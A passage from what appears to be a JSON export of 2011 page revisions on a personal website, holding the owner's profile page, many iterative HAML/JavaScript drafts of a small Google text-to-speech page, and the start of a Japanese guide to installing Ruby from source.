[rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)\r\n\u003caudio src=\"http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=%E7%B3%B8%E6%9F%B3%E3%81%8B%E3%81%9A%E3%81%AE%E3%82%8A\u0026tl=ja\" loop=\"true\" /\u003e","created_at":"2011-05-11T10:22:51.000Z","updated_at":"2011-05-11T10:22:51.000Z"},{"id":1507,"name":"index","body":"#ssig33.com\r\n\r\n## Contents \u0026 Service\r\n[Text](http://text.ssig33.com) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)\r\n\u003caudio src=\"http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=%E7%B3%B8%E6%9F%B3%E3%81%8B%E3%81%9A%E3%81%AE%E3%82%8A\u0026tl=ja\" loop=\"true\" autoplay=\"true\"/\u003e","created_at":"2011-05-11T10:23:59.000Z","updated_at":"2011-05-11T10:23:59.000Z"},{"id":1508,"name":"sound_by_google","body":"haml\r\n","created_at":"2011-05-11T10:26:34.000Z","updated_at":"2011-05-11T10:26:34.000Z"},{"id":1509,"name":"sound_by_google","body":"haml\r\n:haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n\u003cscript src=\"https://www.google.com/jsapi?key=ABQIAAAA0ivG7C3ZQD8GhyjGeHmtdBRcBkOZ5LgLAs2hWATZwQ3gnVsu4RQloLf1KXMbcfn4RUxd2i0y4CiiLQ\" type=\"text/javascript\"\u003e\u003c/script\u003e\r\n \r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n #here\r\n :javascript\r\n google.load(\"jquery\", \"1.4.2\");\r\n function load_word(){\r\n console.log($(\"#input\").val())\r\n }\r\n load_word();\r\n","created_at":"2011-05-11T10:30:26.000Z","updated_at":"2011-05-11T10:30:26.000Z"},{"id":1510,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n\u003cscript src=\"https://www.google.com/jsapi?key=ABQIAAAA0ivG7C3ZQD8GhyjGeHmtdBRcBkOZ5LgLAs2hWATZwQ3gnVsu4RQloLf1KXMbcfn4RUxd2i0y4CiiLQ\" type=\"text/javascript\"\u003e\u003c/script\u003e\r\n \r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n #here\r\n :javascript\r\n google.load(\"jquery\", \"1.4.2\");\r\n function load_word(){\r\n console.log($(\"#input\").val())\r\n }\r\n load_word();\r\n","created_at":"2011-05-11T10:30:41.000Z","updated_at":"2011-05-11T10:30:41.000Z"},{"id":1511,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n\u003cscript src=\"https://www.google.com/jsapi?key=ABQIAAAA0ivG7C3ZQD8GhyjGeHmtdBRcBkOZ5LgLAs2hWATZwQ3gnVsu4RQloLf1KXMbcfn4RUxd2i0y4CiiLQ\" type=\"text/javascript\"\u003e\u003c/script\u003e\r\n:javascript\r\n google.load(\"jquery\", \"1.4.2\"); \r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n #here\r\n :javascript\r\n function load_word(){\r\n console.log($(\"#input\").val())\r\n }\r\n load_word();","created_at":"2011-05-11T10:31:23.000Z","updated_at":"2011-05-11T10:31:23.000Z"},{"id":1512,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n\u003cscript src=\"https://www.google.com/jsapi\" type=\"text/javascript\"\u003e\u003c/script\u003e\r\n:javascript\r\n google.load(\"jquery\", \"1.4.2\"); \r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n #here\r\n :javascript\r\n function load_word(){\r\n console.log($(\"#input\").val())\r\n }\r\n load_word();","created_at":"2011-05-11T10:31:44.000Z","updated_at":"2011-05-11T10:31:44.000Z"},{"id":1513,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"}\r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n #here\r\n :javascript\r\n function load_word(){\r\n console.log($(\"#input\").val())\r\n }\r\n load_word();","created_at":"2011-05-11T10:32:23.000Z","updated_at":"2011-05-11T10:32:23.000Z"},{"id":1514,"name":"index","body":"#ssig33.com\r\n\r\n## Contents \u0026 Service\r\n[Text](http://text.ssig33.com) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Tumblr :** [rikukoike](http://rikukoike.tumblr.com) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)\r\n","created_at":"2011-05-11T10:33:10.000Z","updated_at":"2011-05-11T10:33:10.000Z"},{"id":1515,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"}\r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n #here\r\n :javascript\r\n function load_word(){\r\n $(\"#here\").after(\"\u003caudio src=\"http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=%E7%B3%B8%E6%9F%B3%E3%81%8B%E3%81%9A%E3%81%AE%E3%82%8A\u0026tl=ja\" autoplay=\"true\" loop=\"true\" id=\"audio\"\u003e\r\n }\r\n load_word();","created_at":"2011-05-11T10:33:35.000Z","updated_at":"2011-05-11T10:33:35.000Z"},{"id":1516,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"}\r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n #here\r\n :javascript\r\n function load_word(){\r\n $(\"#here\").after(\"\u003caudio src='http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=%E7%B3%B8%E6%9F%B3%E3%81%8B%E3%81%9A%E3%81%AE%E3%82%8A\u0026tl=ja' autoplay='true' loop='true' id='audio'\u003e\r\n }\r\n load_word();","created_at":"2011-05-11T10:34:00.000Z","updated_at":"2011-05-11T10:34:00.000Z"},{"id":1517,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"}\r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n #here\r\n :javascript\r\n function load_word(){\r\n $(\"#here\").after(\"\u003caudio src='http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=%E7%B3%B8%E6%9F%B3%E3%81%8B%E3%81%9A%E3%81%AE%E3%82%8A\u0026tl=ja' autoplay='true' loop='true' id='audio'\u003e\")\r\n }\r\n load_word();","created_at":"2011-05-11T10:34:21.000Z","updated_at":"2011-05-11T10:34:21.000Z"},{"id":1518,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"}\r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n #here\r\n :javascript\r\n function load_word(){\r\n $(\"#here\").after(\"\u003caudio src='http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=\"+$(\"#input\").val()+\"\u0026tl=ja' autoplay='true' loop='true' id='audio'\u003e\")\r\n }\r\n load_word();","created_at":"2011-05-11T10:34:49.000Z","updated_at":"2011-05-11T10:34:49.000Z"},{"id":1519,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"}\r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n %button#button Change\r\n #here\r\n :javascript\r\n function load_word(){\r\n $(\"#audio\").delete()\r\n $(\"#here\").after(\"\u003caudio src='http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=\"+escape($(\"#input\").val())+\"\u0026tl=ja' autoplay='true' loop='true' id='audio'\u003e\")\r\n }\r\n load_word();\r\n $(\"#button\").click(load_word())","created_at":"2011-05-11T10:36:16.000Z","updated_at":"2011-05-11T10:36:16.000Z"},{"id":1520,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"}\r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n %button#button Change\r\n #here\r\n :javascript\r\n function load_word(){\r\n $(\"#audio\").remove()\r\n $(\"#here\").after(\"\u003caudio src='http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=\"+escape($(\"#input\").val())+\"\u0026tl=ja' autoplay='true' loop='true' id='audio'\u003e\")\r\n }\r\n load_word()\r\n $(\"#button\").click(load_word())","created_at":"2011-05-11T10:36:35.000Z","updated_at":"2011-05-11T10:36:35.000Z"},{"id":1521,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"}\r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n %button#button Change\r\n #here\r\n :javascript\r\n function load_word(){\r\n $(\"#audio\").remove()\r\n $(\"#here\").after(\"\u003caudio src='http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=\"+$(\"#input\").val()+\"\u0026tl=ja' autoplay='true' loop='true' id='audio'\u003e\")\r\n }\r\n load_word()\r\n $(\"#button\").click(load_word())","created_at":"2011-05-11T10:37:00.000Z","updated_at":"2011-05-11T10:37:00.000Z"},{"id":1522,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"}\r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n %button#button Change\r\n #here\r\n :javascript\r\n function load_word(){\r\n $(\"#audio\").remove()\r\n $(\"#here\").after(\"\u003caudio src='http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=\"+$(\"#input\").val()+\"\u0026tl=ja' autoplay='true' loop='true' id='audio'\u003e\")\r\n }\r\n load_word()\r\n $(\"#button\").click(window.setTimeout(\"load_word()\", 0))","created_at":"2011-05-11T10:37:46.000Z","updated_at":"2011-05-11T10:37:46.000Z"},{"id":1523,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"}\r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n %button#button Change\r\n #here\r\n :javascript\r\n function load_word(){\r\n $(\"audio\").remove()\r\n $(\"#here\").after(\"\u003caudio src='http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=\"+$(\"#input\").val()+\"\u0026tl=ja' autoplay='true' loop='true' id='audio'\u003e\")\r\n }\r\n load_word()\r\n $(\"#button\").click(window.setTimeout(\"load_word()\", 0))","created_at":"2011-05-11T10:38:53.000Z","updated_at":"2011-05-11T10:38:53.000Z"},{"id":1524,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"}\r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n %button#button Change\r\n %audio#audio{:src =\u003e \"\", :autoplay =\u003e true :loop =\u003e true}\r\n #here\r\n :javascript\r\n function load_word(){\r\n $(\"#audio\").src = \"http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=\"+$(\"#input\").val()+\"\u0026tl=ja\"\r\n }\r\n load_word()\r\n $(\"#button\").click(window.setTimeout(\"load_word()\", 0))","created_at":"2011-05-11T10:40:18.000Z","updated_at":"2011-05-11T10:40:18.000Z"},{"id":1525,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"}\r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n %button#button Change\r\n %audio#audio{:src =\u003e \"\", :autoplay =\u003e true, :loop =\u003e true}\r\n #here\r\n :javascript\r\n function load_word(){\r\n $(\"#audio\").src = \"http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=\"+$(\"#input\").val()+\"\u0026tl=ja\"\r\n }\r\n load_word()\r\n $(\"#button\").click(window.setTimeout(\"load_word()\", 0))","created_at":"2011-05-11T10:40:27.000Z","updated_at":"2011-05-11T10:40:27.000Z"},{"id":1526,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"}\r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n %button#button Change\r\n %audio#audio{:src =\u003e \"\", :autoplay =\u003e true, :loop =\u003e true}\r\n #here\r\n :javascript\r\n function load_word(){\r\n document.getElementById(\"audio\").src = \"http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=\"+$(\"#input\").val()+\"\u0026tl=ja\"\r\n }\r\n load_word()\r\n $(\"#button\").click(window.setTimeout(\"load_word()\", 0))","created_at":"2011-05-11T10:41:17.000Z","updated_at":"2011-05-11T10:41:17.000Z"},{"id":1527,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"}\r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n %button#button Change\r\n %audio#audio{:src =\u003e \"\", :autoplay =\u003e true, :loop =\u003e true}\r\n #here\r\n :javascript\r\n function load_word(){\r\n document.getElementById(\"audio\").src = \"http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=\"+document.getElementById(\"input\").value+\"\u0026tl=ja\"\r\n }\r\n load_word()\r\n $(\"#button\").click(window.setTimeout(\"load_word()\", 0))","created_at":"2011-05-11T10:41:56.000Z","updated_at":"2011-05-11T10:41:56.000Z"},{"id":1528,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"}\r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n %button#button Change\r\n %audio#audio{:src =\u003e \"\", :autoplay =\u003e true, :loop =\u003e true}\r\n #here\r\n :javascript\r\n function load_word(){\r\n document.getElementById(\"audio\").src = \"http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=\"+document.getElementById(\"input\").value+\"\u0026tl=ja\"\r\n }\r\n load_word()\r\n $(\"#button\").click(function(){window.setTimeout(\"load_word()\", 0)})","created_at":"2011-05-11T10:42:34.000Z","updated_at":"2011-05-11T10:42:34.000Z"},{"id":1529,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"}\r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n %button#button Change\r\n %audio#audio{:src =\u003e \"\", :autoplay =\u003e true, :loop =\u003e true}\r\n #here\r\n :javascript\r\n function load_word(){\r\n $(\"#audio\").remove()\r\n $(\"#here\").before(\"\u003caudio autoplay=true loop=true\u003e\")\r\n document.getElementById(\"audio\").src = \"http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=\"+document.getElementById(\"input\").value+\"\u0026tl=ja\"\r\n }\r\n load_word()\r\n $(\"#button\").click(function(){window.setTimeout(\"load_word()\", 0)})","created_at":"2011-05-11T10:44:12.000Z","updated_at":"2011-05-11T10:44:12.000Z"},{"id":1530,"name":"sound_by_google","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - Sound\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js\"}\r\n#all\r\n %input#input{:value =\u003e \"糸柳かずのり\"} \r\n %button#button Change\r\n %audio#audio{:src =\u003e \"\", :autoplay =\u003e true, :loop =\u003e true}\r\n #here\r\n :javascript\r\n function load_word(){\r\n $(\"#audio\").remove()\r\n $(\"#here\").before(\"\u003caudio autoplay=true loop=true id='audio'\u003e\")\r\n document.getElementById(\"audio\").src = \"http://translate.google.co.jp/translate_tts?ie=UTF-8\u0026q=\"+document.getElementById(\"input\").value+\"\u0026tl=ja\"\r\n }\r\n load_word()\r\n $(\"#button\").click(function(){window.setTimeout(\"load_word()\", 0)})","created_at":"2011-05-11T10:44:30.000Z","updated_at":"2011-05-11T10:44:30.000Z"},{"id":1531,"name":"index","body":"#ssig33.com\r\n\r\n## Contents \u0026 Service\r\n[Text](http://text.ssig33.com) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)","created_at":"2011-05-15T01:35:02.000Z","updated_at":"2011-05-15T01:35:02.000Z"},{"id":1532,"name":"fig_for_hayap","body":"## 散々いろいろやっても入らなかった理由\r\n* fig が Ruby の開発者用パッケージに依存してるから\r\n\r\n## 解決策\r\nソースから Ruby を入れよう。難しくないです\r\n\r\n###1. 依存する deb パッケージの導入\r\n sudo apt-get update\r\n sudo apt-get install autoconf autotools-dev build-essential curl git-core libexpat1-dev libbz2-dev libncurses5-dev libreadline5-dev libsasl2-dev libssl-dev libxml2-dev libxslt1-dev ruby rubygems unzip zlib1g zlib1g-dev libhaml-ruby libsqlite3-dev\r\n\r\n微妙に関係ないものも入れてる気はしますが気にしないようにしましょう\r\n\r\n###2. Ruby 